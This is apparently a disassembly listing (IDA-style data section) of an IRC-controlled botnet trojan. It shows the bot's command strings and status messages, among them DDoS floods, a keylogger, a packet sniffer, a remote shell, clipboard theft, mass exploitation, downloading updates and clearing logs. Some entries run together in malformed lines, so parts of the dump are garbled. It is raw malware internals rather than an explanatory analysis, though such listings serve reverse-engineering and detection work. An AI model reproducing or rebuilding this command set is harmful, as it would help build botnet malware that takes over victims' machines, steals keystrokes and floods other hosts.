aDs_rm db 'ds.rm',0 ; DATA XREF: .nsp0:0040C476o
align 4
aDs_ack db 'ds.ack',0 ; DATA XREF: .nsp0:0040C45Fo
align 10h
aDs_sy1 db 'ds.sy1',0 ; DATA XREF: .nsp0:0040C448o
align 4
aClone_start db 'clone.start',0 ; DATA XREF: .nsp0:0040C431o
aClone_make db 'clone.make',0 ; DATA XREF: .nsp0:0040C41Ao
align 10h
aDdos_ic db 'ddos.ic',0 ; DATA XREF: .nsp0:0040C3F1o
aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: .nsp0:0040C3DAo
align 4
aBox_mv db 'box.mv',0 ; DATA XREF: .nsp0:0040C3C3o
align 4
aBox_rename db 'box.rename',0 ; DATA XREF: .nsp0:0040C3ACo
align 4
aBox_ff db 'box.ff',0 ; DATA XREF: .nsp0:0040C395o
align 10h
aBox_findfile db 'box.findfile',0 ; DATA XREF: .nsp0:0040C37Eo
align 10h
aBox_e db 'box.e',0 ; DATA XREF: .nsp0:0040C367o
align 4
aBox_execute db 'box.execute',0 ; DATA XREF: .nsp0:0040C350o
aDownload_upz db 'download.upz',0 ; DATA XREF: .nsp0:0040C339o
align 4
aDownload_updiz db 'download.updiz',0 ; DATA XREF: .nsp0:0040C322o
align 4
aEnz_de db 'enz.de',0 ; DATA XREF: .nsp0:0040C30Bo
align 4
aEnz_delay db 'enz.delay',0 ; DATA XREF: .nsp0:0040C2F4o
align 4
aEnz_rp db 'enz.rp',0 ; DATA XREF: .nsp0:0040C2DDo
align 10h
aEnz_repeat db 'enz.repeat',0 ; DATA XREF: .nsp0:0040C2C6o
align 4
aClone_p db 'clone.p',0 ; DATA XREF: .nsp0:0040C2AFo
aClone_part db 'clone.part',0 ; DATA XREF: .nsp0:0040C298o
align 10h
aClone_j db 'clone.j',0 ; DATA XREF: .nsp0:0040C281o
aClone_join db 'clone.join',0 ; DATA XREF: .nsp0:0040C26Ao
align 4
aClone_ni db 'clone.ni',0 ; DATA XREF: .nsp0:0040C253o
align 10h
aClone_nick db 'clone.nick',0 ; DATA XREF: .nsp0:0040C23Co
align 4
aClone_m db 'clone.m',0 ; DATA XREF: .nsp0:0040C225o
aClone_mode db 'clone.mode',0 ; DATA XREF: .nsp0:0040C20Eo
align 10h
aClone_ra db 'clone.ra',0 ; DATA XREF: .nsp0:0040C1F7o
align 4
aClone_raw db 'clone.raw',0 ; DATA XREF: .nsp0:0040C1E0o
align 4
aEnz_m db 'enz.m',0 ; DATA XREF: .nsp0:0040C1C9o
align 10h
aEnz_mode db 'enz.mode',0 ; DATA XREF: .nsp0:0040C1B2o
align 4
aEnz_cy db 'enz.cy',0 ; DATA XREF: .nsp0:0040C19Bo
align 4
aEnz_cycle db 'enz.cycle',0 ; DATA XREF: .nsp0:0040C184o
align 10h
aEnz_ac db 'enz.ac',0 ; DATA XREF: .nsp0:0040C16Do
align 4
aEnz_action db 'enz.action',0 ; DATA XREF: .nsp0:0040C156o
align 4
aEnz_pm db 'enz.pm',0 ; DATA XREF: .nsp0:0040C13Fo
align 4
aEnz_privmsg db 'enz.privmsg',0 ; DATA XREF: .nsp0:0040C128o
aEnz_aa db 'enz.aa',0 ; DATA XREF: .nsp0:0040C111o
align 10h
aEnz_addalias db 'enz.addalias',0 ; DATA XREF: .nsp0:0040C0FAo
align 10h
aEnz_gh db 'enz.gh',0 ; DATA XREF: .nsp0:0040C0D1o
align 4
aEnz_gethost db 'enz.gethost',0 ; DATA XREF: .nsp0:0040C0BAo
dword_42EEF4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: .nsp0:loc_40C06Co
dd 2029206Ch, 2BBBB02h
aCommandUnknown db ' Command unknown.',0
align 4
dword_42EF24 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: .nsp0:loc_40C065o
dd 2029206Ch, 2BBBB02h
aNoMessageSpeci db ' No message specified.',0
dword_42EF58 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: .nsp0:loc_40C01Do
dd 2029206Ch, 2BBBB02h
aUserListFailed db ' User list failed.',0
dword_42EF88 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: .nsp0:0040C016o
dd 2029206Ch, 2BBBB02h
aUserListComple db ' User list completed.',0
align 4
aUser db 'user',0 ; DATA XREF: .nsp0:0040BF89o
align 4
dword_42EFC4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: .nsp0:loc_40BF7Eo
dd 2029206Ch, 2BBBB02h
aShareListFaile db ' Share list failed.',0
align 4
dword_42EFF8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: .nsp0:0040BF74o
dd 2029206Ch, 2BBBB02h
aShareListCompl db ' Share list completed.',0
aShare db 'share',0 ; DATA XREF: .nsp0:0040BF0Co
align 4
aDelete db 'delete',0 ; DATA XREF: .nsp0:0040BEF1o
align 4
aPause db 'pause',0 ; DATA XREF: .nsp0:0040BEBEo
align 4
aStop db 'stop',0 ; DATA XREF: .nsp0:0040BEA6o
align 4
dword_42F04C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: .nsp0:loc_40BE9Bo
dd 2029206Ch, 2BBBB02h
aServiceListFai db ' Service list failed.',0
align 10h
dword_42F080 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: .nsp0:0040BE91o
dd 2029206Ch, 2BBBB02h
aServiceListCom db ' Service list completed.',0
align 4
dword_42F0B8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: .nsp0:0040BE0Do
dd 2029206Ch, 2BBBB02h
aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0
align 4
aBox_net db 'box.net',0 ; DATA XREF: .nsp0:0040BDE9o
unk_42F10C db 2 ; DATA XREF: .nsp0:0040BDDCo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToSta_21 db ' Failed to start logging thread, error: <%d>.',0
align 4
unk_42F15C db 2 ; DATA XREF: .nsp0:0040BD6Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aKeyLoggerActiv db ' Key logger active.',0
unk_42F190 db 2 ; DATA XREF: .nsp0:0040BCECo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aAlreadyRunni_1 db ' Already running.',0
align 4
unk_42F1C4 db 2 ; DATA XREF: .nsp0:loc_40BCD6o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aNoKeyLoggerThr db ' No key logger thread found.',0
align 4
unk_42F204 db 2 ; DATA XREF: .nsp0:0040BCCCo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0
align 4
aBox_keylog db 'box.keylog',0 ; DATA XREF: .nsp0:0040BC72o
align 10h
unk_42F260 db 2 ; DATA XREF: .nsp0:loc_40BC65o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aNoCarnivoreThr db 'No Carnivore thread found.',0
align 4
unk_42F29C db 2 ; DATA XREF: .nsp0:0040BC5Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0
align 4
aOff db 'off',0 ; DATA XREF: .nsp0:0040BC38o
; .nsp0:0040BCA9o
unk_42F2EC db 2 ; DATA XREF: .nsp0:0040BC2Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToSta_22 db 'Failed to start sniffer thread, error: <%d>.',0
align 4
unk_42F33C db 2 ; DATA XREF: .nsp0:0040BBBEo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aCarnivorePacke db 'Carnivore packet sniffer active.',0
align 10h
unk_42F380 db 2 ; DATA XREF: .nsp0:0040BB5Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aAlreadyRunni_2 db 'Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: .nsp0:0040BB3Ao
; .nsp0:0040BC87o
align 4
aSniff db 'sniff',0 ; DATA XREF: .nsp0:0040BB25o
align 10h
aBox_rf db 'box.rf',0 ; DATA XREF: .nsp0:0040BB0Eo
align 4
aBox_readfile db 'box.readfile',0 ; DATA XREF: .nsp0:0040BAF7o
align 4
aBox_cm db 'box.cm',0 ; DATA XREF: .nsp0:0040BAE0o
align 10h
aBox_cmd db 'box.cmd',0 ; DATA XREF: .nsp0:0040BAC9o
aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: .nsp0:0040BA9Bo
; .nsp0:0040BAB2o
align 4
aBox_fl db 'box.fl',0 ; DATA XREF: .nsp0:0040BA84o
align 4
aBox_filelist db 'box.filelist',0 ; DATA XREF: .nsp0:0040BA6Do
align 4
aBox_del db 'box.del',0 ; DATA XREF: .nsp0:0040BA56o
aBox_delete db 'box.delete',0 ; DATA XREF: .nsp0:0040BA3Fo
align 10h
aBox_pkid db 'box.pkid',0 ; DATA XREF: .nsp0:0040BA28o
align 4
aBox_prockillid db 'box.prockillid',0 ; DATA XREF: .nsp0:0040BA11o
align 4
aBox_kpn db 'box.kpn',0 ; DATA XREF: .nsp0:0040B9FAo
aBox_killprocna db 'box.killprocname',0 ; DATA XREF: .nsp0:0040B9E3o
align 4
aEnz_dn db 'enz.dn',0 ; DATA XREF: .nsp0:0040B9CCo
align 10h
aEnz_dns db 'enz.dns',0 ; DATA XREF: .nsp0:0040B9B5o
aEnz_se db 'enz.se',0 ; DATA XREF: .nsp0:0040B99Eo
align 10h
aEnz_setserve db 'enz.setserve',0 ; DATA XREF: .nsp0:0040B987o
align 10h
aBox_o db 'box.o',0 ; DATA XREF: .nsp0:0040B970o
align 4
aBox_open db 'box.open',0 ; DATA XREF: .nsp0:0040B959o
align 4
aEnz_pr db 'enz.pr',0 ; DATA XREF: .nsp0:0040B942o
align 4
aEnz_prefix db 'enz.prefix',0 ; DATA XREF: .nsp0:0040B92Bo
align 4
aClone_rn db 'clone.rn',0 ; DATA XREF: .nsp0:0040B914o
align 4
aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: .nsp0:0040B8FDo
align 4
aClone_q db 'clone.q',0 ; DATA XREF: .nsp0:0040B8E6o
aClone_quit db 'clone.quit',0 ; DATA XREF: .nsp0:0040B8CFo
align 4
aThreads_k db 'threads.k',0 ; DATA XREF: .nsp0:0040B8B8o
align 4
aThreads_kill db 'threads.kill',0 ; DATA XREF: .nsp0:0040B8A1o
align 4
aEnz_r db 'enz.r',0 ; DATA XREF: .nsp0:0040B88Ao
align 4
aEnz_raw db 'enz.raw',0 ; DATA XREF: .nsp0:0040B873o
aEnz_pt db 'enz.pt',0 ; DATA XREF: .nsp0:0040B85Co
align 4
aEnz_part db 'enz.part',0 ; DATA XREF: .nsp0:0040B845o
align 4
aEnz_j db 'enz.j',0 ; DATA XREF: .nsp0:0040B82Eo
align 10h
aEnz_join db 'enz.join',0 ; DATA XREF: .nsp0:0040B817o
align 4
aEnz_n db 'enz.n',0 ; DATA XREF: .nsp0:0040B800o
align 4
aEnz_nick db 'enz.nick',0 ; DATA XREF: .nsp0:0040B7E9o
align 10h
aVall db 'vall',0 ; DATA XREF: .nsp0:0040B7C3o
align 4
aVuln_massexplo db 'vuln.massexploit',0 ; DATA XREF: .nsp0:0040B7AEo
align 4
aServer_tf_on db 'server.tf.on',0 ; DATA XREF: .nsp0:0040B799o
align 4
aServer_tftp_on db 'server.tftp.on',0 ; DATA XREF: .nsp0:0040B784o
align 4
aServer_web_on db 'server.web.on',0 ; DATA XREF: .nsp0:0040B76Fo
align 4
aServer_httpd_o db 'server.httpd.on',0 ; DATA XREF: .nsp0:0040B75Ao
aVuln_cip db 'vuln.cip',0 ; DATA XREF: .nsp0:0040B745o
align 4
aVuln_currentip db 'vuln.currentip',0 ; DATA XREF: .nsp0:0040B730o
align 4
aUtil_fdns db 'util.fdns',0 ; DATA XREF: .nsp0:0040B71Bo
align 4
aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: .nsp0:0040B706o
align 4
aUtil_farp db 'util.farp',0 ; DATA XREF: .nsp0:0040B6F1o
align 10h
aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: .nsp0:0040B6DCo
align 10h
aBox_gc db 'box.gc',0 ; DATA XREF: .nsp0:0040B6C7o
align 4
aBox_getclip db 'box.getclip',0 ; DATA XREF: .nsp0:0040B6B2o
dword_42F604 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040B6A1o
dd 2029206Ch, 2BBBB02h
aLoginListCompl db ' Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: .nsp0:0040B66Do
align 10h
aEmpty db '<Empty>',0 ; DATA XREF: .nsp0:0040B660o
aLoginList db '-[Login List]-',0 ; DATA XREF: .nsp0:0040B63Eo
align 4
aEnz_who db 'enz.who',0 ; DATA XREF: .nsp0:0040B625o
aCmd db '[CMD]',0 ; DATA XREF: .nsp0:0040B61Ao
align 4
aRemoteShell db 'Remote shell',0 ; DATA XREF: .nsp0:0040B615o
align 4
aBox_ocmd_off db 'box.ocmd.off',0 ; DATA XREF: .nsp0:0040B5FCo
align 4
aBox_ocmd db 'box.ocmd',0 ; DATA XREF: .nsp0:0040B5E7o
align 4
aBox_opencmd db 'box.opencmd',0 ; DATA XREF: .nsp0:0040B5D2o
aBox_dll db 'box.dll',0 ; DATA XREF: .nsp0:0040B5BDo
aBox_testdlls db 'box.testdlls',0 ; DATA XREF: .nsp0:0040B5A8o
align 4
aBox_drv db 'box.drv',0 ; DATA XREF: .nsp0:0040B593o
aBox_driveinfo db 'box.driveinfo',0 ; DATA XREF: .nsp0:0040B57Eo
align 10h
aBox_up db 'box.up',0 ; DATA XREF: .nsp0:0040B569o
align 4
aBox_uptime db 'box.uptime',0 ; DATA XREF: .nsp0:0040B554o
align 4
aBox_ps db 'box.ps',0 ; DATA XREF: .nsp0:0040B53Fo
align 4
aBox_procs db 'box.procs',0 ; DATA XREF: .nsp0:0040B52Ao
align 4
aR0i0m db 'r0i0m`',0 ; DATA XREF: .nsp0:0040B515o
align 10h
aEnz_beg0ne db 'enz.beg0ne`',0 ; DATA XREF: .nsp0:0040B500o
aSi db 'si',0 ; DATA XREF: .nsp0:0040B4EBo
align 10h
aBox_sysinfo db 'box.sysinfo',0 ; DATA XREF: .nsp0:0040B4D6o
aBox_ni db 'box.ni',0 ; DATA XREF: .nsp0:0040B4C1o
align 4
aBox_netinfo db 'box.netinfo',0 ; DATA XREF: .nsp0:0040B4ACo
aUtil_clg db 'util.clg',0 ; DATA XREF: .nsp0:0040B497o
align 4
aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: .nsp0:0040B482o
align 4
aEnz_lg db 'enz.lg',0 ; DATA XREF: .nsp0:0040B46Do
align 4
aEnz_log db 'enz.log',0 ; DATA XREF: .nsp0:0040B458o
aEnz_al db 'enz.al',0 ; DATA XREF: .nsp0:0040B443o
align 4
aEnz_aliases db 'enz.aliases',0 ; DATA XREF: .nsp0:0040B42Eo
aThreads_l db 'threads.l',0 ; DATA XREF: .nsp0:0040B419o
align 4
aThreads_list db 'threads.list',0 ; DATA XREF: .nsp0:0040B404o
align 4
dword_42F78C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040B3D0o
dd 2029206Ch, 2BBBB02h
aFailedToReboot db ' Failed to reboot system.',0
align 4
dword_42F7C4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040B3C9o
dd 2029206Ch, 2BBBB02h
aRebootingSyste db ' Rebooting system.',0
aBox_rebewt db 'box.rebewt',0 ; DATA XREF: .nsp0:0040B3B2o
align 10h
aEnz_i db 'enz.i',0 ; DATA XREF: .nsp0:0040B39Do
align 4
aEnz_id db 'enz.id',0 ; DATA XREF: .nsp0:0040B388o
align 10h
aEnz_s db 'enz.s',0 ; DATA XREF: .nsp0:0040B373o
align 4
aEnz_status db 'enz.status',0 ; DATA XREF: .nsp0:0040B35Eo
align 4
aEnz_t3rm1 db 'enz.t3rm1',0 ; DATA XREF: .nsp0:0040B349o
align 10h
aEnz_t3rm1nate db 'enz.t3rm1nate',0 ; DATA XREF: .nsp0:0040B334o
align 10h
aEnz_et3 db 'enz.et3',0 ; DATA XREF: .nsp0:0040B31Fo
aEnz_endt3rm db 'enz.endt3rm',0 ; DATA XREF: .nsp0:0040B30Ao
aEnz_rh4 db 'enz.rh4',0 ; DATA XREF: .nsp0:0040B2F5o
aEnz_reh4sh db 'enz.reh4sh',0 ; DATA XREF: .nsp0:0040B2E0o
align 4
aVuln_st db 'vuln.st',0 ; DATA XREF: .nsp0:0040B2CBo
aVuln_stats db 'vuln.stats',0 ; DATA XREF: .nsp0:0040B2B6o
align 4
aExploitation db 'Exploitation',0 ; DATA XREF: .nsp0:0040B2ABo
align 4
aScan db 'Scan',0 ; DATA XREF: .nsp0:0040B2A6o
align 4
aVuln_stop db 'vuln.stop',0 ; DATA XREF: .nsp0:0040B28Do
align 10h
dword_42F8A0 dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0 db 'Secure',0 ; DATA XREF: .nsp0:0040B27Do
align 4
aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: .nsp0:0040B264o
align 4
dword_42F8C8 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone db 'Clone',0 ; DATA XREF: .nsp0:0040B254o
align 10h
aClone_off db 'clone.off',0 ; DATA XREF: .nsp0:0040B23Bo
align 4
aBox_ps_off db 'box.ps.off',0 ; DATA XREF: .nsp0:0040B226o
align 4
aBox_procs_off db 'box.procs.off',0 ; DATA XREF: .nsp0:0040B211o
align 4
aBox_ff_off db 'box.ff.off',0 ; DATA XREF: .nsp0:0040B1FCo
align 4
aBox_findfile_o db 'box.findfile.off',0 ; DATA XREF: .nsp0:0040B1E7o
align 4
dword_42F928 dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of db 'server.tftp.off',0 ; DATA XREF: .nsp0:0040B1BEo
dword_42F944 dd 69027002h, 1F671F6Eh, 2E2Ehdword_42F950 dd 676E6950h, 6F6C6620h, 646Fhdword_42F95C dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_42F96C dd 64027502h, 2E1F701Fh, 2Ehdword_42F978 dd 20504455h, 6F6F6C66h, 64hdword_42F984 dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_42F994 dd 79027302h, 2E1F6E1Fh, 2Ehdword_42F9A0 dd 206E7953h, 6F6F6C66h, 64hdword_42F9AC dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_42F9BC dd 64026402h, 1F731F6Fh, 2E2Ehdword_42F9C8 dd 536F4444h, 6F6C6620h, 646Fhdword_42F9D4 dd 736F6464h, 66666F2Eh, 0dword_42F9E0 dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_42F9F0 dd 20504354h, 69646572h, 74636572h, 0aServer_redirec db 'server.redirect.off',0 ; DATA XREF: .nsp0:0040B0F1o
dword_42FA14 dd 6F026C02h, 2E1F671Fh, 2Ehdword_42FA20 dd 20676F4Ch, 7473696Ch, 0dword_42FA2C dd 2E676F6Ch, 66666Fhdword_42FA34 dd 74026802h, 641F7074h, 2E2E1Fhdword_42FA40 dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_42FA50 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer db 'Server',0 ; DATA XREF: .nsp0:0040B08Fo
; .nsp0:0040B0B8o ...
align 4
aServer_rlogin_ db 'server.rlogin.off',0 ; DATA XREF: .nsp0:0040B076o
align 4
aLd_off db 'ld.off',0 ; DATA XREF: .nsp0:0040B061o
align 4
aLockdown_off db 'lockdown.off',0 ; DATA XREF: .nsp0:0040B04Co
align 4
aLd_on db 'ld.on',0 ; DATA XREF: .nsp0:0040B037o
align 4
aLockdown_on db 'lockdown.on',0 ; DATA XREF: .nsp0:0040B022o
aEnz_ver db 'enz.ver',0 ; DATA XREF: .nsp0:0040B00Do
aEnz_version db 'enz.version',0 ; DATA XREF: .nsp0:0040AFF8o
aEnz_lo db 'enz.lo',0 ; DATA XREF: .nsp0:0040AFE3o
align 4
aEnz_logout db 'enz.logout',0 ; DATA XREF: .nsp0:0040AFCEo
align 10h
aEnz_d db 'enz.d',0 ; DATA XREF: .nsp0:0040AFB9o
align 4
aEnz_endsess db 'enz.endsess',0 ; DATA XREF: .nsp0:0040AFA4o
aEnz_rn db 'enz.rn',0 ; DATA XREF: .nsp0:0040AF8Fo
align 4
aEnz_rndnick db 'enz.rndnick',0 ; DATA XREF: .nsp0:0040AF77o
a63 db '63',0 ; DATA XREF: .nsp0:0040AE50o
align 4
asc_42FAFC: ; DATA XREF: .nsp0:0040AE28o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: .nsp0:0040ADEBo
align 4
aServer_2 db '$server',0 ; DATA XREF: .nsp0:0040ADE0o
aRndnick db '$rndnick',0 ; DATA XREF: .nsp0:0040ADCFo
align 4
aChan db '$chan',0 ; DATA XREF: .nsp0:0040ADB3o
align 4
aUser_2 db '$user',0 ; DATA XREF: .nsp0:0040ADA2o
align 4
aMe_0 db '$me',0 ; DATA XREF: .nsp0:0040AD90o
aD_0 db '$%d',0 ; DATA XREF: .nsp0:0040AD22o
aD_1 db '$%d-',0 ; DATA XREF: .nsp0:0040AC67o
align 4
dword_42FB3C dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: .nsp0:0040ABFCo
dd 0A0Dh
dword_42FB54 dd 4E495001h, 47haSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: .nsp0:0040AB8Do
align 4
dword_42FB78 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: .nsp0:0040AB73o
dd 0D017325h, 0Ah
dword_42FB94 dd 52455601h, 4E4F4953h, 1dword_42FBA0 dd 6968h aNewshit db 'newshit',0 ; DATA XREF: .nsp0:0040A9FDo
a332 db '332',0 ; DATA XREF: .nsp0:0040A96Eo
; .nsp0:0040AA34o ...
aNotice db 'NOTICE',0 ; DATA XREF: .nsp0:0040A94Co
; sub_40F9F1+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: .nsp0:0040A940o
; sub_40F9F1+16o
dword_42FBC0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040A8EFo
dd 2029206Ch, 2BBBB02h
aUserSLoggedOut db ' User: %s logged out.',0
align 4
dword_42FBF4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040A8CFo
dd 2029206Ch, 2BBBB02h
aJoinedChanne_0 db ' Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: .nsp0:0040A898o
aPart db 'PART',0 ; DATA XREF: .nsp0:0040A84Ao
; .nsp0:0040A90Co
align 4
aSS_1 db ':%s%s',0 ; DATA XREF: .nsp0:0040A822o
align 4
aNick db 'NICK',0 ; DATA XREF: .nsp0:0040A704o
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040A6A7o
; .nsp0:0040A930o
dword_42FC54 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: .nsp0:0040A68Eo
; .nsp0:0040F6CFo ...
dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0 db ' User %s logged out.',0
align 4
aKick db 'KICK',0 ; DATA XREF: .nsp0:0040A61Do
align 10h
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040A5C6o
; .nsp0:0040E88Co ...
align 4
a433 db '433',0 ; DATA XREF: .nsp0:0040A59Eo
a302 db '302',0 ; DATA XREF: .nsp0:0040A563o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040A51Do
; .nsp0:0040A6F1o ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040A4FCo
align 10h
aPing db 'PING',0 ; DATA XREF: .nsp0:0040A4E2o
align 4
asc_42FCC8 db ' :',0 ; DATA XREF: .nsp0:0040A3BFo
; .nsp0:loc_40AC06o
align 4
dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 3000005h, 10h, 18h, 1, 3 dup(0)
dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0
dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
dword_42FD5C dd 25207325h, 253A2073h, 0A0D73hoff_42FD68 dd offset aAdd ; DATA XREF: sub_40FA8C+6Dr
; sub_40FE70+50r ...
; "Add"
off_42FD6C dd offset aAdded ; DATA XREF: sub_40FA8C+2Dr
; sub_40FE70+82r ...
; "Added"
dword_42FD70 dd 0 dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 10h
dd offset aList_0 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 8
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 42FDDCh, 42FDD4h, 2, 42FDC8h, 42FDBCh, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: .nsp0:0042FD9Co
aStop_0 db 'Stop',0 ; DATA XREF: .nsp0:0042FD98o
align 4
aStarted db 'Started',0 ; DATA XREF: .nsp0:0042FD90o
aStart_0 db 'Start',0 ; DATA XREF: .nsp0:0042FD8Co
align 4
aListed db 'Listed',0 ; DATA XREF: .nsp0:0042FD84o
align 4
aList_0 db 'List',0 ; DATA XREF: .nsp0:0042FD80o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .nsp0:0042FD78o
aDelete_0 db 'Delete',0 ; DATA XREF: .nsp0:0042FD74o
align 4
aAdded db 'Added',0 ; DATA XREF: .nsp0:off_42FD6Co
align 4
aAdd db 'Add',0 ; DATA XREF: .nsp0:off_42FD68o
dword_42FE30 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40FA8C+74o
dd 2029206Ch, 2BBBB02h
aSNoServiceSpec db ' %s: No service specified.',0
